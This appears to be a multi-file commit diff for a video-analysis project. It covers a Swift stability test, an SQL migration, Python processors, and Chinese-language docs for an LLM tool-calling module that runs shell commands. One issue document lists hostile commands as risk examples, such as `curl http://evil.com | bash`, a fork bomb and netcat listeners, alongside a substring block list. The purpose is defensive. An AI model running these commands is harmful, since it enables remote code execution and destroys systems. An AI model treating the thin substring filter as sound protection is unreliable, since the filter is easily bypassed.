yVariance.append(abs(f.y - firstFace.y))
wVariance.append(abs(f.w - firstFace.w))
hVariance.append(abs(f.h - firstFace.h))
}
}
print(" Bbox variance (max diff from first run):")
print(" x: \(xVariance.max() ?? 0), y: \(yVariance.max() ?? 0)")
print(" w: \(wVariance.max() ?? 0), h: \(hVariance.max() ?? 0)")
let allZero = xVariance.allSatisfy { $0 == 0 } && yVariance.allSatisfy { $0 == 0 } && wVariance.allSatisfy { $0 == 0 } && hVariance.allSatisfy { $0 == 0 }
print(" Perfectly stable: \(allZero ? "YES" : "NO")")
}
// Analyze pose results
print("\n=== Pose Detection Stability (\(runs) runs) ===")
let poseCounts = poseResults.map { $0.count }
let uniquePoseCounts = Set(poseCounts)
print(" Pose counts: \(uniquePoseCounts.sorted())")
print(" Consistent: \(uniquePoseCounts.count == 1 ? "YES" : "NO")")
if let firstPose = poseResults.first?.first {
var xV: [Int] = [], yV: [Int] = [], wV: [Int] = [], hV: [Int] = []
var noseXV: [Double] = [], noseYV: [Double] = []
for run in poseResults {
if let p = run.first {
xV.append(abs(p.x - firstPose.x))
yV.append(abs(p.y - firstPose.y))
wV.append(abs(p.w - firstPose.w))
hV.append(abs(p.h - firstPose.h))
noseXV.append(abs(p.noseX - firstPose.noseX))
noseYV.append(abs(p.noseY - firstPose.noseY))
}
}
print(" Bbox variance (max diff from first run):")
print(" x: \(xV.max() ?? 0), y: \(yV.max() ?? 0)")
print(" w: \(wV.max() ?? 0), h: \(hV.max() ?? 0)")
print(" Nose variance:")
print(" x: \(String(format: "%.1f", noseXV.max() ?? 0)), y: \(String(format: "%.1f", noseYV.max() ?? 0))")
let allZero = xV.allSatisfy { $0 == 0 } && yV.allSatisfy { $0 == 0 }
print(" Perfectly stable: \(allZero ? "YES" : "NO")")
}
// Face-Pose distance stability
print("\n=== Face-Pose Distance Stability ===")
var distances: [Double] = []
for i in 0..<runs {
if let face = faceResults[i].first, let pose = poseResults[i].first {
let fcx = Double(face.x + face.w / 2)
let fcy = Double(face.y + face.h / 2)
let dist = abs(fcx - pose.noseX) + abs(fcy - pose.noseY)
distances.append(dist)
}
}
if !distances.isEmpty {
let avg = distances.reduce(0, +) / Double(distances.count)
let maxDist = distances.max() ?? 0
let minDist = distances.min() ?? 0
let variance = maxDist - minDist
print(" Avg distance: \(String(format: "%.1f", avg))px")
print(" Min: \(String(format: "%.1f", minDist))px, Max: \(String(format: "%.1f", maxDist))px")
print(" Variance: \(String(format: "%.1f", variance))px")
print(" Stable (variance < 5px): \(variance < 5 ? "YES" : "NO")")
}
print("\n[StabilityTest] Done")
migrations/037_add_completed_at_to_videos.sql
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-- Add completed_at timestamp to videos table
-- This field tracks when file processing was completed
ALTER TABLE public.videos ADD COLUMN IF NOT EXISTS completed_at timestamp with time zone;
-- Create index for completed_at queries
CREATE INDEX IF NOT EXISTS idx_videos_completed_at ON public.videos(completed_at);
-- Update existing completed files to set completed_at = updated_at
UPDATE public.videos
SET completed_at = updated_at
WHERE status = 'completed' AND completed_at IS NULL;
scripts/TOOL_CALLER_ISSUES.md
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# Tool Calling Module 問題及解決方案
**Version**: 1.1
**Date**: 2026-07-26
**Doc Path**: `/Users/accusys/momentry_core/scripts/TOOL_CALLER_ISSUES.md`
**相關檔案**:
- 核心模組：`/Users/accusys/momentry_core/scripts/tool_caller.py` (v1.1.2, 720+ 行)
- 測試腳本：`/Users/accusys/momentry_core/scripts/test_tool_caller.py`
- 使用說明：`/Users/accusys/momentry_core/scripts/TOOL_CALLING_README.md`
---
## 修復狀態：✅ 所有問題已修復
| 問題 | 修復內容 | 狀態 |
|------|---------|------|
| Multi-Tool 測試失敗 | 增加 embedding server 健康檢查、修正 API 端點 (`/v1/embeddings`) | ✅ 已修復 |
| Bash 安全檢查不足 | 擴充至 20+ 危險模式、限制命令長度 2000 字元 | ✅ 已修復 |
| 缺少工具調用日誌 | 新增 logging 模組，記錄所有工具調用 | ✅ 已修復 |
| Qdrant Collection 硬編碼 | 使用 `QDRANT_DEFAULT_COLLECTION` 環境變數 | ✅ 已修復 |
---
## 測試結果
| 測試 | 狀態 | 說明 |
|------|------|------|
| [TEST 1] PostgreSQL Query | ✅ | 23 videos |
| [TEST 2] Bash Safety Check | ✅ | 3/3 危險命令被阻止 |
| [TEST 3] Qdrant Search | ✅ | 10 matches found |
---
## 問題 1：Multi-Tool 測試失敗
### 現象
```
TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)
Query: Find videos about dogs, then search for similar content in the vector database
Result: An error has occurred. I'm unable to continue with the task.
```
### 原因分析
1. **Embedding Server 未檢查可用性**
- `search_qdrant` 工具直接呼叫 `http://localhost:11436/embed`
- 未檢查 embedding server 是否運行
- 失敗時未提供明確錯誤訊息
2. **Qdrant Collection 可能不存在**
- 預設 collection 名稱 `momentry_rule1` 可能與實際部署不符
- 未列出可用 collection 供 LLM 參考
3. **錯誤處理不完善**
- 工具執行失敗時，LLM 收到模糊錯誤訊息
- 未引導 LLM 嘗試其他方法
### 解決方案
#### 1.1 增加服務可用性檢查
**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`
```python
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
import requests as req
collection = args.get("collection", "momentry_rule1")
query_text = args.get("query_text", "")
limit = args.get("limit", 10)
if not query_text:
return ToolResult(success=False, data=None, error="No query text provided")
# 檢查 embedding server
try:
embed_health = req.get("http://localhost:11436/health", timeout=5)
if embed_health.status_code != 200:
return ToolResult(success=False, error="Embedding server not healthy")
except requests.exceptions.ConnectionError:
return ToolResult(success=False, error="Embedding server not available at http://localhost:11436")
# 取得 embedding
embed_url = "http://localhost:11436/embed"
try:
embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
embed_resp.raise_for_status()
embedding = embed_resp.json()["embeddings"][0]
except Exception as e:
return ToolResult(success=False, error=f"Embedding failed: {str(e)}")
# 檢查 Qdrant collection
qdrant_url_base = args.get("qdrant_url", "http://localhost:6333")
try:
collections_url = f"{qdrant_url_base}/collections"
coll_resp = req.get(collections_url, timeout=10)
coll_resp.raise_for_status()
collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
if collection not in collections:
return ToolResult(
success=False,
error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
)
except Exception as e:
return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}")
# 執行搜尋
search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
try:
search_resp = req.post(search_url, json=search_payload, timeout=30)
search_resp.raise_for_status()
results = search_resp.json().get("result", [])
except Exception as e:
return ToolResult(success=False, error=f"Search failed: {str(e)}")
return ToolResult(
success=True,
data={
"matches": [
{"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
for r in results
],
"match_count": len(results)
}
)
```
#### 1.2 改進錯誤處理
**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`
```python
def run(self, user_query: str) -> str:
# ... 現有程式碼 ...
# 執行工具
tool_result = self.execute_tool_call(tool_call)
# 改進錯誤訊息
if tool_result.success:
result_str = json.dumps({
"success": True,
"data": tool_result.data
}, ensure_ascii=False, cls=DateTimeEncoder)
else:
result_str = json.dumps({
"success": False,
"error": tool_result.error,
"suggestion": "Try a different tool or rephrase your query."
}, ensure_ascii=False)
messages.append({"role": "user", "content": f"Tool result: {result_str}"})
```
---
## 問題 2：Bash 安全檢查不足
### 現象
```python
blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"]
```
### 風險分析
| 危險命令 | 是否阻止 | 風險等級 |
|---------|---------|---------|
| `rm -rf /` | ✅ 是 | 🔴 高 |
| `sudo rm -rf /` | ❌ 否 | 🔴 高 |
| `chmod 777 /etc/passwd` | ❌ 否 | 🔴 高 |
| `curl http://evil.com | bash` | ❌ 否 | 🔴 高 |
| `:(){ :|:& };:` (fork bomb) | ❌ 否 | 🔴 高 |
| `nc -l 4444` | ❌ 否 | 🟡 中 |
### 解決方案
**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`
```python
def execute_bash(args: Dict[str, Any]) -> ToolResult:
command = args.get("command", "")
timeout = args.get("timeout", 30)
if not command:
return ToolResult(success=False, data=None, error="No command provided")
# 限制命令長度
if len(command) > 2000:
return ToolResult(success=False, error="Command too long (max 2000 chars)")
# 更完整的安全檢查
blocked_patterns = [
# 檔案系統破壞
"rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
# 權限提升
"sudo ", "su -", "chmod 777", "chown root",
# 遠端執行
"curl | bash", "curl | sh", "wget | sh", "wget | bash",
"curl http", "wget http",
# 拒絕服務
":(){", "fork", "kill -9 1",
# 網路監聽
"nc -l", "netcat -l", "socat",
]
command_lower = command.lower()
for pattern in blocked_patterns:
if pattern in command_lower:
return ToolResult(
success=False,
data=None,
error=f"Blocked dangerous command pattern: {pattern}"
)
# 執行命令
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=timeout
)
return ToolResult(
success=result.returncode == 0,
data={
"stdout": result.stdout[:5000], # 限制輸出大小
"stderr": result.stderr[:2000],
"returncode": result.returncode
}
)
except subprocess.TimeoutExpired:
return ToolResult(
success=False,
data=None,
error=f"Command timed out after {timeout}s"
)
```
---
## 問題 3：缺少工具調用日誌
### 現象
工具調用過程無日誌記錄，難以除錯和審計。
### 解決方案
**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`
```python
import logging
# 設定日誌
logger = logging.getLogger('tool_caller')
class OllamaToolCaller:
def run(self, user_query: str) -> str:
logger.info(f"Starting tool call loop for query: {user_query}")
self._tool_call_history = []
messages = [
{"role": "system", "content": self.system_prompt},
{"role": "user", "content": user_query}
]
tool_results_collected = []
for iteration in range(self.max_iterations):
logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
# 呼叫 LLM
response = self.chat(messages)
message = response.get("message", {})
tool_calls = message.get("tool_calls", [])
if not tool_calls:
# 檢查文字中的工具調用
extracted = self._extract_tool_from_text(message.get("content", ""))
if extracted:
name, params = extracted
tool_key = self._get_tool_key(name, params)
if not self._is_duplicate_call(tool_key):
self._add_to_history(tool_key)
logger.info(f"Executing tool: {name} with args: {params}")
tool_call = {"function": {"name": name, "arguments": params}}
tool_result = self.execute_tool_call(tool_call)
if tool_result.success:
logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms")
else:
logger.error(f"Tool failed: {tool_result.error}")
# ... 繼續處理 ...
logger.info(f"Tool call loop completed after {iteration + 1} iterations")
return final_answer
```
---
## 問題 4：Qdrant Collection 名稱硬編碼
### 現象
```python
collection = args.get("collection", "momentry_rule1")
```
### 風險
Collection 名稱可能與實際部署不符，導致搜尋失敗。
### 解決方案
**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`
```python
import os
def register_default_tools(self, db_url=None, qdrant_url=None):
"""Register default tools with connection strings"""
# 使用環境變數
default_collection = os.environ.get(
"QDRANT_DEFAULT_COLLECTION",
"momentry_rule1"
)
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
collection = args.get("collection", default_collection)
# ... 其餘程式碼 ...
self.registry.register(
name="search_qdrant",
description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
parameters={
"type": "object",
"properties": {
"collection": {
"type": "string",
"description": f"Qdrant collection name (default: {default_collection})",
"default": default_collection
},
# ... 其餘參數 ...
},
"required": ["query_text"]
},
executor=search_qdrant
)
```
---
## 測試驗證
### 執行測試
```bash
cd /Users/accusys/momentry_core/scripts
python3 test_tool_caller.py
```
### 預期結果
| 測試 | 預期狀態 | 說明 |
|------|---------|------|
| TEST 1: Single Tool | ✅ 通過 | PostgreSQL 查詢正常 |
| TEST 2: Multi-Tool | ✅ 通過 | PostgreSQL → Qdrant 順序執行 |
| TEST 3: Direct Tool | ✅ 通過 | 直接工具執行正常 |
| TEST 4: Bash Safety | ✅ 通過 | 危險命令被阻止 |
---
## 版本資訊
| 版本 | 日期 | 說明 |
|------|------|------|
| 1.0.0 | 2026-07-26 | 初始版本，記錄已知問題及解決方案 |
scripts/TOOL_CALLING_README.md
+438
View File
@@ -0,0 +1,438 @@
# Momentry Tool Calling Module 使用說明
## 目錄
- [概述](#概述)
- [安裝](#安裝)
- [快速開始](#快速開始)
- [工具說明](#工具說明)
- [進階用法](#進階用法)
- [API 參考](#api-參考)
- [常見問題](#常見問題)
---
## 概述
Tool Calling Module 是一個基於 Ollama API 的工具調用模組，支援順序執行多個工具來完成複雜任務。
### 核心功能
- ✅ 支援 PostgreSQL 資料庫查詢
- ✅ 支援 Qdrant 向量搜尋
- ✅ 支援 Bash 命令執行
- ✅ 支援 HTTP API 調用
- ✅ 防止工具重複調用
- ✅ 自動參數正規化
---
## 安裝
### 依賴套件
```bash
pip install requests psycopg2-binary
```
### 檔案位置
```
/Users/accusys/momentry_core/scripts/
├─ tool_caller.py # 核心模組
└─ test_tool_caller.py # 測試腳本
```
---
## 快速開始
### 基本用法
```python
from tool_caller import OllamaToolCaller
# 1. 建立 Tool Caller
caller = OllamaToolCaller(
base_url="http://localhost:11434",
model="llama3.1:8b",
max_tool_calls=5
)
# 2. 註冊預設工具
caller.register_default_tools()
# 3. 執行查詢
result = caller.run("How many videos are in the database?")
print(result)
# 輸出: "There are 23 videos in the database."
```
### 中文查詢
```python
result = caller.run("查詢資料庫中有多少影片")
print(result)
# 輸出: "有 23 個視頻存放在資料庫中。"
```
---
## 工具說明
### 1. query_postgres - PostgreSQL 查詢
執行 SQL 查詢語句。
```python
# 直接執行
result = caller.registry.execute("query_postgres", {
"query": "SELECT COUNT(*) FROM videos"
})
print(result.data)
# {'rows': [{'count': 23}], 'row_count': 1}
```
**參數:**
| 參數 | 類型 | 必填 | 說明 |
|------|------|------|------|
| `query` | string | ✅ | SQL 查詢語句 |
**支援的 SQL 操作:**
- SELECT (查詢)
- INSERT (新增)
- UPDATE (更新)
- DELETE (刪除)
### 2. search_qdrant - 向量搜尋
在 Qdrant 向量資料庫中搜尋相似內容。
```python
result = caller.registry.execute("search_qdrant", {
"collection": "momentry_rule1",
"query_text": "sunset beach",
"limit": 10
})
print(result.data)
# {'matches': [...], 'match_count': 3}
```
**參數:**
| 參數 | 類型 | 必填 | 預設值 | 說明 |
|------|------|------|--------|------|
| `collection` | string | ❌ | `momentry_rule1` | Qdrant collection 名稱 |
| `query_text` | string | ✅ | - | 搜尋文字 (會自動轉為向量) |
| `limit` | integer | ❌ | `10` | 最大結果數 |
### 3. execute_bash - Bash 執行
執行系統 Bash 命令。
```python
result = caller.registry.execute("execute_bash", {
"command": "df -h",
"timeout": 10
})
print(result.data)
# {'stdout': 'Filesystem...', 'stderr': '', 'returncode': 0}
```
**參數:**
| 參數 | 類型 | 必填 | 預設值 | 說明 |
|------|------|------|--------|------|
| `command` | string | ✅ | - | Bash 命令 |
| `timeout` | integer | ❌ | `30` | 超時秒數 |
**安全限制:**
以下命令會被阻止:
- `rm -rf /`
- `mkfs`
- `dd if=`
- `> /dev/`
### 4. call_api - HTTP API 調用
調用外部 HTTP API。
```python
result = caller.registry.execute("call_api", {
"url": "https://api.example.com/data",
"method": "GET",
"headers": {"Authorization": "Bearer token123"}
})
print(result.data)
# {'status_code': 200, 'headers': {...}, 'body': '{...}'}
```
**參數:**
| 參數 | 類型 | 必填 | 預設值 | 說明 |
|------|------|------|--------|------|
| `url` | string | ✅ | - | API 端點 URL |
| `method` | string | ❌ | `GET` | HTTP 方法 (GET/POST/PUT/DELETE) |
| `headers` | object | ❌ | `{}` | HTTP 標頭 |
| `data` | object | ❌ | `null` | 請求體 (POST/PUT) |
---
## 進階用法
### 1. 自訂工具
```python
from tool_caller import OllamaToolCaller, ToolResult
caller = OllamaToolCaller()
# 定義工具執行器
def my_custom_tool(args):
# 自訂邏輯
result = do_something(args["param1"], args["param2"])
return ToolResult(success=True, data=result)
# 註冊工具
caller.registry.register(
name="my_custom_tool",
description="My custom tool description",
parameters={
"type": "object",
"properties": {
"param1": {"type": "string"},
"param2": {"type": "integer"}
},
"required": ["param1"]
},
executor=my_custom_tool
)
```
### 2. 自訂連線字串
```python
# 使用自訂 PostgreSQL 連線
caller.register_default_tools(
db_url="postgres://user:pass@host:5432/dbname"
)
# 使用自訂 Qdrant 連線
caller.register_default_tools(
qdrant_url="http://qdrant-server:6333"
)
```
### 3. 多輪對話
```python
caller = OllamaToolCaller(max_tool_calls=5)
# 第一次查詢
result1 = caller.run("查詢資料庫中有多少影片")
print(f"第一次: {result1}")
# 第二次查詢 (會自動清理歷史)
result2 = caller.run("查詢使用者數量")
print(f"第二次: {result2}")
```
### 4. 追蹤工具調用歷史
```python
caller = OllamaToolCaller()
caller.register_default_tools()
result = caller.run("查詢資料庫中有多少影片")
print(f"結果: {result}")
print(f"調用歷史: {caller._tool_call_history}")
# ['query_postgres:{"query": "SELECT COUNT(*) FROM videos"}']
```
---
## API 參考
### OllamaToolCaller
#### 建構函數
```python
OllamaToolCaller(
base_url: str = "http://localhost:11434",
model: str = "llama3.1:8b",
max_iterations: int = 10,
max_tool_calls: int = 5
)
```
| 參數 | 類型 | 預設值 | 說明 |
|------|------|--------|------|
| `base_url` | string | `http://localhost:11434` | Ollama API 位址 |
| `model` | string | `llama3.1:8b` | 模型名稱 |
| `max_iterations` | int | `10` | 最大迭代次數 |
| `max_tool_calls` | int | `5` | 最大工具調用次數 |
#### 方法
##### `run(user_query: str) -> str`
執行工具調用迴圈並返回最終結果。
##### `chat(messages: List[Dict]) -> Dict`
發送聊天請求到 Ollama API。
##### `execute_tool_call(tool_call: Dict) -> ToolResult`
執行單個工具調用。
##### `register_default_tools(db_url=None, qdrant_url=None)`
註冊預設工具。
---
### ToolResult
```python
@dataclass
class ToolResult:
success: bool # 是否成功
data: Any # 結果資料
error: str = None # 錯誤訊息
execution_time_ms: float = 0 # 執行時間 (毫秒)
```
---
### ToolRegistry
#### 方法
##### `register(name, description, parameters, executor)`
註冊新工具。
##### `get_definitions() -> List[Dict]`
取得所有工具定義。
##### `has_tool(name: str) -> bool`
檢查工具是否存在。
##### `execute(name: str, arguments: Dict) -> ToolResult`
執行工具。
---
## 常見問題
### Q1: 工具調用失敗怎麼辦?
檢查以下幾點:
1. Ollama 服務是否運行: `curl http://localhost:11434/api/tags`
2. 模型是否已下載: `ollama list`
3. 工具連線是否正確 (PostgreSQL/Qdrant)
### Q2: 如何除錯工具調用?
```python
# 啟用詳細日誌
caller = OllamaToolCaller()
caller.register_default_tools()
# 追蹤調用歷史
result = caller.run("查詢資料庫")
print(f"調用歷史: {caller._tool_call_history}")
```
### Q3: 如何處理大量資料?
```python
# 限制 Bash 輸出大小
result = caller.registry.execute("execute_bash", {
"command": "ls -la | head -100",
"timeout": 30
})
# 限制 PostgreSQL 結果
result = caller.registry.execute("query_postgres", {
"query": "SELECT * FROM videos LIMIT 100"
})
```
### Q4: 如何自訂安全規則?
修改 `execute_bash` 中的 `blocked` 列表:
```python
blocked = [
"rm -rf /",
"mkfs",
"dd if=",
"> /dev/",
"your_custom_dangerous_command"
]
```
---
## 範例腳本
### 查詢資料庫
```python
from tool_caller import OllamaToolCaller
caller = OllamaToolCaller()
caller.register_default_tools()
# 查詢影片數量
result = caller.run("How many videos are in the database?")
print(result)
# 查詢特定資料
result = caller.run("查詢所有狀態為 completed 的影片")
print(result)
```
### 系統監控
```python
# 檢查磁碟使用量
result = caller.run("Check the current disk usage")
print(result)
# 檢查記憶體使用量
result = caller.run("Check the current memory usage")
print(result)
# 檢查處理程序
result = caller.run("Show running processes")
print(result)
```
### 向量搜尋
```python
# 搜尋相似影片
result = caller.run("Find videos similar to sunset beach")
print(result)
# 搜尋特定人物
result = caller.run("Find videos with John in them")
print(result)
```
---
## 版本資訊
- **版本:** 1.0.0
- **更新日期:** 2026-07-26
- **作者:** Momentry Core Team
scripts/appearance_processor.py
+1
View File
@@ -220,6 +220,7 @@ def main():
parser.add_argument("pose_json")
parser.add_argument("output_path")
parser.add_argument("--uuid", "-u", default="")
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
with open(args.pose_json) as f:
scripts/appearance_processor_v2.py
+164
View File
@@ -0,0 +1,164 @@
#!/opt/homebrew/bin/python3.11
"""
Appearance Expansion Processor V2
Calls swift_appearance_expansion which:
1. Reads pose.json (from pose expansion)
2. Expands appearance detection from pose frames
3. Stops when 3 consecutive frames have HSV similarity < 0.5
4. Outputs at 8Hz sampling (floor(fps/8))
Flow:
face_processor.py → face.json
store_traced_faces.py → face_traced.json (with trace_id)
pose_processor.py → pose.json
appearance_processor.py → appearance.json (this script)
"""
import sys
import os
import json
import argparse
import subprocess
import time
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from redis_publisher import RedisPublisher
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_appearance_expansion")
SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_appearance_expansion")
OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
def process_appearance(
video_path: str,
output_path: str,
uuid: str = "",
publisher: RedisPublisher = None,
) -> dict:
"""Process appearance expansion from pose frames.
Args:
video_path: Path to video file
output_path: Path to output appearance.json
uuid: File UUID for logging
publisher: Redis publisher for progress updates
"""
# Check if appearance.json already exists
if os.path.exists(output_path):
with open(output_path) as f:
data = json.load(f)
frame_count = len(data.get("frames", []))
print(f"[Appearance] Output exists: {output_path} ({frame_count} frames)", file=sys.stderr)
if publisher:
publisher.progress("appearance", 100, 100, f"{frame_count} frames (exists)")
return data
# Determine file_uuid from output_path
file_uuid = os.path.basename(output_path).replace(".appearance.json", "")
# Find pose.json
pose_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.pose.json")
if not os.path.exists(pose_path):
print(f"[Appearance] ERROR: pose.json not found for {file_uuid}", file=sys.stderr)
# Return empty result
empty_result = {"frame_count": 0, "fps": 0.0, "frames": []}
with open(output_path, "w") as f:
json.dump(empty_result, f)
return empty_result
# Build swift_appearance_expansion if needed
swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG
if not os.path.exists(swift_bin):
build_dir = os.path.join(SCRIPT_DIR, "swift_processors")
print(f"[Appearance] Building swift_appearance_expansion in {build_dir}...", file=sys.stderr)
result = subprocess.run(
["swift", "build", "-c", "release", "--product", "swift_appearance_expansion"],
cwd=build_dir, capture_output=True, text=True
)
if result.returncode != 0:
print(f"[Appearance] Build failed: {result.stderr}", file=sys.stderr)
raise RuntimeError("Failed to build swift_appearance_expansion")
swift_bin = SWIFT_BIN
# Run swift_appearance_expansion
cmd = [
swift_bin,
video_path,
pose_path,
output_path,
]
if uuid:
cmd.extend(["--uuid", uuid])
print(f"[Appearance] Running: {' '.join(cmd)}", file=sys.stderr)
t0 = time.time()
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
# Monitor progress
last_progress = ""
while proc.poll() is None:
time.sleep(5)
# Read stderr for progress
try:
import select
if select.select([proc.stderr], [], [], 0)[0]:
line = proc.stderr.readline().strip()
if line and line != last_progress:
last_progress = line
print(f"[Appearance] {line}", file=sys.stderr)
if publisher and "frames" in line:
publisher.progress("appearance", 50, 100, line)
except Exception:
pass
# Read remaining output
stdout, stderr = proc.communicate()
if stdout:
print(stdout, file=sys.stderr)
if stderr:
print(stderr, file=sys.stderr)
elapsed = time.time() - t0
if proc.returncode != 0:
print(f"[Appearance] ERROR: swift_appearance_expansion exited with code {proc.returncode}", file=sys.stderr)
if publisher:
publisher.error("appearance", f"Process failed with code {proc.returncode}")
raise RuntimeError(f"swift_appearance_expansion failed: {proc.returncode}")
# Load result
if not os.path.exists(output_path):
print(f"[Appearance] ERROR: Output file not created: {output_path}", file=sys.stderr)
raise RuntimeError("Appearance output not created")
with open(output_path) as f:
result = json.load(f)
frame_count = len(result.get("frames", []))
print(f"[Appearance] Done: {frame_count} frames in {elapsed:.1f}s", file=sys.stderr)
if publisher:
publisher.progress("appearance", 100, 100, f"{frame_count} frames")
publisher.complete("appearance", f"{frame_count} frames")
return result
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Appearance Expansion Processor")
parser.add_argument("video_path", help="Video file path")
parser.add_argument("output_path", help="Output appearance.json path")
parser.add_argument("--uuid", "-u", default="", help="File UUID for logging")
args = parser.parse_args()
publisher = RedisPublisher(args.uuid) if args.uuid else None
if publisher:
publisher.info("appearance", "APPEARANCE_START")
result = process_appearance(args.video_path, args.output_path, args.uuid, publisher)
print(f"Appearance: {len(result.get('frames', []))} frames with appearance")
scripts/asr_processor.py
+2
View File
@@ -349,6 +349,7 @@ def run_asr(video_path, output_path, uuid: str = "", fps: float = None):
"text": segment.text.strip(),
"scene_number": scene_idx + 1,
"language": seg_language,
"confidence": getattr(segment, "confidence", 0.0),
})
total_segments += 1
@@ -396,6 +397,7 @@ def run_asr(video_path, output_path, uuid: str = "", fps: float = None):
"start_frame": int(round(segment.start * fps)),
"end_frame": int(round(segment.end * fps)),
"text": segment.text.strip(),
"confidence": getattr(segment, "confidence", 0.0),
})
total_segments += 1
if total_segments % 100 == 0:
scripts/asrx_processor.py
+26 -4
View File
@@ -121,8 +121,19 @@ def _convert_asr_segments_to_asrx(asr_segments, output_path):
try:
with open(probe_path) as pf:
probe_data = json.load(pf)
if "fps" in probe_data:
fps = float(probe_data["fps"])
# Extract fps from streams array (video stream)
for stream in probe_data.get("streams", []):
if stream.get("codec_type") == "video":
if "r_frame_rate" in stream:
fps_str = stream["r_frame_rate"]
# Parse "24000/1001" format
if "/" in fps_str:
num, den = fps_str.split("/")
if float(den) > 0:
fps = float(num) / float(den)
else:
fps = float(fps_str)
break
except Exception:
pass
@@ -154,8 +165,19 @@ def _convert_result(result, output_path):
try:
with open(probe_path) as pf:
probe_data = json.load(pf)
if "fps" in probe_data:
fps = float(probe_data["fps"])
# Extract fps from streams array (video stream)
for stream in probe_data.get("streams", []):
if stream.get("codec_type") == "video":
if "r_frame_rate" in stream:
fps_str = stream["r_frame_rate"]
# Parse "24000/1001" format
if "/" in fps_str:
num, den = fps_str.split("/")
if float(den) > 0:
fps = float(num) / float(den)
else:
fps = float(fps_str)
break
except Exception:
pass
scripts/asrx_processor_custom_v1.11.py
+17 -5
View File
@@ -226,12 +226,24 @@ def process_asrx_custom(video_path: str, output_path: str, uuid: str = ""):
try:
with open(p) as pf:
probe_data = json.load(pf)
if "fps" in probe_data:
fps = float(probe_data["fps"])
print(f"[ASRX] FPS from probe: {fps}", file=sys.stderr)
# Extract fps from streams array (video stream)
for stream in probe_data.get("streams", []):
if stream.get("codec_type") == "video":
if "r_frame_rate" in stream:
fps_str = stream["r_frame_rate"]
# Parse "24000/1001" format
if "/" in fps_str:
num, den = fps_str.split("/")
if float(den) > 0:
fps = float(num) / float(den)
print(f"[ASRX] FPS from probe: {fps} (from r_frame_rate: {fps_str})", file=sys.stderr)
else:
fps = float(fps_str)
print(f"[ASRX] FPS from probe: {fps}", file=sys.stderr)
break
break
except:
pass
except Exception as e:
print(f"[ASRX] Failed to read probe: {e}", file=sys.stderr)
output_result = {
"language": None,
"segments": [],
scripts/assign_pose_trace.py
+235
View File
@@ -0,0 +1,235 @@
#!/opt/homebrew/bin/python3.11
"""
Assign trace_ids to poses by matching with face traces.
Uses bbox IoU matching to find corresponding face traces.
Input: face_traced.json, pose.json
Output: pose_traced.json
"""
import json
import os
import argparse
from typing import Dict, List, Optional, Any
def calculate_iou(bbox1: Dict, bbox2: Dict) -> float:
"""Calculate Intersection over Union for two bboxes."""
x1 = max(bbox1["x"], bbox2["x"])
y1 = max(bbox1["y"], bbox2["y"])
x2 = min(bbox1["x"] + bbox1["width"], bbox2["x"] + bbox2["width"])
y2 = min(bbox1["y"] + bbox1["height"], bbox2["y"] + bbox2["height"])
if x2 <= x1 or y2 <= y1:
return 0.0
intersection = (x2 - x1) * (y2 - y1)
area1 = bbox1["width"] * bbox1["height"]
area2 = bbox2["width"] * bbox2["height"]
union = area1 + area2 - intersection
return intersection / union if union > 0 else 0.0
def is_face_center_in_pose(face_bbox: Dict, pose_bbox: Dict) -> bool:
"""Check if face center is within pose bbox."""
face_cx = face_bbox["x"] + face_bbox["width"] // 2
face_cy = face_bbox["y"] + face_bbox["height"] // 2
return (
pose_bbox["x"] <= face_cx <= pose_bbox["x"] + pose_bbox["width"] and
pose_bbox["y"] <= face_cy <= pose_bbox["y"] + pose_bbox["height"]
)
def build_face_lookup(face_traced: Dict) -> Dict[int, List[Dict]]:
"""Build frame -> faces lookup from face_traced.json."""
lookup = {}
for trace_id_str, trace in face_traced.get("traces", {}).items():
trace_id = int(trace_id_str)
for face in trace.get("path", []):
frame = face["frame"]
if frame not in lookup:
lookup[frame] = []
lookup[frame].append({
"trace_id": trace_id,
"bbox": face["bbox"],
"confidence": face.get("confidence", 0.5)
})
return lookup
def find_closest_faces(
face_lookup: Dict[int, List[Dict]],
target_frame: int,
max_distance: int = 10
) -> List[Dict]:
"""
Find faces at the closest frame to target_frame.
Search within max_distance frames.
"""
# Check exact frame first
if target_frame in face_lookup:
return face_lookup[target_frame]
# Find closest frame
face_frames = sorted(face_lookup.keys())
closest_frame = None
closest_distance = max_distance + 1
for frame in face_frames:
distance = abs(frame - target_frame)
if distance < closest_distance:
closest_distance = distance
closest_frame = frame
if closest_frame is not None and closest_distance <= max_distance:
return face_lookup[closest_frame]
return []
def match_pose_to_traces(
pose_person: Dict,
faces_at_frame: List[Dict],
frame: int,
iou_threshold: float = 0.05
) -> Dict:
"""
Match a pose person to face traces.
Uses two strategies:
